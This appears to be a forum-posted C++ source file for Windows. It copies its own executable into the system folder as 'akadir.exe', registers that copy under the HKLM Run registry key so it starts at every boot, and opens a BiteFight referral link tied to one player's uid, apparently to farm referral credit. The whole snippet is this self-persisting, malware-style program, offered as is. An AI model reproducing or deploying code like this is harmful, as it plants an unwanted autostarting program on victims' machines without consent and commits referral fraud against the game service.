1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #include<iostream>
#include<windows.h>
using namespace std;
void start();
void main()
{
HKEY key; //nom de la clef
char windobedir[81];
char *progdir;
GetWindowsDirectory(windobedir,50);
progdir = GetCommandLine();
strcat(windobedir,"\\system\\akadir.exe");
if(strcmp(progdir,windobedir) != 0)
CopyFile(progdir,windobedir,FALSE);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&key);
RegSetValueEx(key,"prog bitefight",0,REG_SZ,(LPBYTE) windobedir,strlen(windobedir));
RegCloseKey(key);
start();
}
void start()
{
ShellExecute(NULL, NULL, "http://s4.bitefight.fr/c.php?uid=67456", NULL, NULL, SW_SHOWNORMAL);
Sleep(1500);
} |
Partager